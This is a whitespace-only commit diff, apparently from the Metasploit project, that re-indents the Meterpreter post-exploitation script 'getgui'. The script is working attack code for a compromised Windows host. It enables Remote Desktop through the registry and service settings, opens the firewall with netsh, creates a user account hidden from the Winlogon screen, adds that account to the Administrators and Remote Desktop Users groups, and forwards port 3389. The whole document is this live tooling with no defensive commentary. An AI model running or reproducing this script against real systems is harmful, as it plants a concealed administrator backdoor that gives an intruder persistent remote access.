Retab all the things (except external/)
This commit is contained in:
Tab Assassin
+118
-118
@@ -17,107 +17,107 @@ logs = ::File.join(Msf::Config.log_directory,'scripts', 'getgui')
|
||||
@dest = logs + "/clean_up_" + filenameinfo + ".rc"
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-e" => [ false, "Enable RDP only." ],
|
||||
"-p" => [ true, "The Password of the user to add." ],
|
||||
"-u" => [ true, "The Username of the user to add." ],
|
||||
"-f" => [ true, "Forward RDP Connection." ]
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-e" => [ false, "Enable RDP only." ],
|
||||
"-p" => [ true, "The Password of the user to add." ],
|
||||
"-u" => [ true, "The Username of the user to add." ],
|
||||
"-f" => [ true, "Forward RDP Connection." ]
|
||||
)
|
||||
def usage
|
||||
print_line("Windows Remote Desktop Enabler Meterpreter Script")
|
||||
print_line("Usage: getgui -u <username> -p <password>")
|
||||
print_line("Or: getgui -e")
|
||||
print(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
print_line("Windows Remote Desktop Enabler Meterpreter Script")
|
||||
print_line("Usage: getgui -u <username> -p <password>")
|
||||
print_line("Or: getgui -e")
|
||||
print(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def enablerd()
|
||||
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
|
||||
value = "fDenyTSConnections"
|
||||
begin
|
||||
v = registry_getvaldata(key,value)
|
||||
print_status "Enabling Remote Desktop"
|
||||
if v == 1
|
||||
print_status "\tRDP is disabled; enabling it ..."
|
||||
registry_setvaldata(key,value,0,"REG_DWORD")
|
||||
file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
|
||||
else
|
||||
print_status "\tRDP is already enabled"
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
|
||||
value = "fDenyTSConnections"
|
||||
begin
|
||||
v = registry_getvaldata(key,value)
|
||||
print_status "Enabling Remote Desktop"
|
||||
if v == 1
|
||||
print_status "\tRDP is disabled; enabling it ..."
|
||||
registry_setvaldata(key,value,0,"REG_DWORD")
|
||||
file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
|
||||
else
|
||||
print_status "\tRDP is already enabled"
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def enabletssrv()
|
||||
rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService"
|
||||
begin
|
||||
v2 = registry_getvaldata(rdp_key,"Start")
|
||||
print_status "Setting Terminal Services service startup mode"
|
||||
if v2 != 2
|
||||
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
|
||||
service_change_startup("TermService","auto")
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
|
||||
cmd_exec("sc start termservice")
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
|
||||
rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService"
|
||||
begin
|
||||
v2 = registry_getvaldata(rdp_key,"Start")
|
||||
print_status "Setting Terminal Services service startup mode"
|
||||
if v2 != 2
|
||||
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
|
||||
service_change_startup("TermService","auto")
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
|
||||
cmd_exec("sc start termservice")
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
|
||||
|
||||
else
|
||||
print_status "\tTerminal Services service is already set to auto"
|
||||
end
|
||||
#Enabling Exception on the Firewall
|
||||
print_status "\tOpening port in local firewall if necessary"
|
||||
cmd_exec('netsh firewall set service type = remotedesktop mode = enable')
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
else
|
||||
print_status "\tTerminal Services service is already set to auto"
|
||||
end
|
||||
#Enabling Exception on the Firewall
|
||||
print_status "\tOpening port in local firewall if necessary"
|
||||
cmd_exec('netsh firewall set service type = remotedesktop mode = enable')
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def addrdpusr(session, username, password)
|
||||
|
||||
rdu = resolve_sid("S-1-5-32-555")[:name]
|
||||
admin = resolve_sid("S-1-5-32-544")[:name]
|
||||
rdu = resolve_sid("S-1-5-32-555")[:name]
|
||||
admin = resolve_sid("S-1-5-32-544")[:name]
|
||||
|
||||
|
||||
print_status "Setting user account for logon"
|
||||
print_status "\tAdding User: #{username} with Password: #{password}"
|
||||
begin
|
||||
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
|
||||
if addusr_out =~ /success/i
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
|
||||
print_status "\tHiding user from Windows Login screen"
|
||||
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
|
||||
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
|
||||
file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
|
||||
print_status "\tAdding User: #{username} to local group '#{rdu}'"
|
||||
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
|
||||
print_status "Setting user account for logon"
|
||||
print_status "\tAdding User: #{username} with Password: #{password}"
|
||||
begin
|
||||
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
|
||||
if addusr_out =~ /success/i
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
|
||||
print_status "\tHiding user from Windows Login screen"
|
||||
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
|
||||
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
|
||||
file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
|
||||
print_status "\tAdding User: #{username} to local group '#{rdu}'"
|
||||
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
|
||||
|
||||
print_status "\tAdding User: #{username} to local group '#{admin}'"
|
||||
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
|
||||
print_status "You can now login with the created user"
|
||||
else
|
||||
print_error("Account could not be created")
|
||||
print_error("Error:")
|
||||
addusr_out.each_line do |l|
|
||||
print_error("\t#{l.chomp}")
|
||||
end
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
print_status "\tAdding User: #{username} to local group '#{admin}'"
|
||||
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
|
||||
print_status "You can now login with the created user"
|
||||
else
|
||||
print_error("Account could not be created")
|
||||
print_error("Error:")
|
||||
addusr_out.each_line do |l|
|
||||
print_error("\t#{l.chomp}")
|
||||
end
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def message
|
||||
print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator"
|
||||
print_status "Carlos Perez carlos_perez@darkoperator.com"
|
||||
print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator"
|
||||
print_status "Carlos Perez carlos_perez@darkoperator.com"
|
||||
end
|
||||
################## MAIN ##################
|
||||
# Parsing of Options
|
||||
@@ -129,55 +129,55 @@ enbl = nil
|
||||
frwrd = nil
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-u"
|
||||
usr = val
|
||||
when "-p"
|
||||
pass = val
|
||||
when "-h"
|
||||
usage
|
||||
when "-f"
|
||||
frwrd = true
|
||||
lport = val
|
||||
when "-e"
|
||||
enbl = true
|
||||
end
|
||||
case opt
|
||||
when "-u"
|
||||
usr = val
|
||||
when "-p"
|
||||
pass = val
|
||||
when "-h"
|
||||
usage
|
||||
when "-f"
|
||||
frwrd = true
|
||||
lport = val
|
||||
when "-e"
|
||||
enbl = true
|
||||
end
|
||||
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if args.length > 0
|
||||
if enbl or (usr and pass)
|
||||
message
|
||||
if enbl
|
||||
if is_admin?
|
||||
enablerd()
|
||||
enabletssrv()
|
||||
else
|
||||
print_error("Insufficient privileges, Remote Desktop Service was not modified.")
|
||||
end
|
||||
end
|
||||
if args.length > 0
|
||||
if enbl or (usr and pass)
|
||||
message
|
||||
if enbl
|
||||
if is_admin?
|
||||
enablerd()
|
||||
enabletssrv()
|
||||
else
|
||||
print_error("Insufficient privileges, Remote Desktop Service was not modified.")
|
||||
end
|
||||
end
|
||||
|
||||
if usr and pass
|
||||
if is_admin?
|
||||
addrdpusr(session, usr, pass)
|
||||
else
|
||||
print_error("Insufficient privileges, account was not be created.")
|
||||
end
|
||||
end
|
||||
if usr and pass
|
||||
if is_admin?
|
||||
addrdpusr(session, usr, pass)
|
||||
else
|
||||
print_error("Insufficient privileges, account was not be created.")
|
||||
end
|
||||
end
|
||||
|
||||
if frwrd == true
|
||||
print_status("Starting the port forwarding at local port #{lport}")
|
||||
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
|
||||
end
|
||||
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
|
||||
else
|
||||
usage
|
||||
end
|
||||
if frwrd == true
|
||||
print_status("Starting the port forwarding at local port #{lport}")
|
||||
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
|
||||
end
|
||||
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
|
||||
else
|
||||
usage
|
||||
end
|
||||
|
||||
else
|
||||
usage
|
||||
end
|
||||
else
|
||||
usage
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user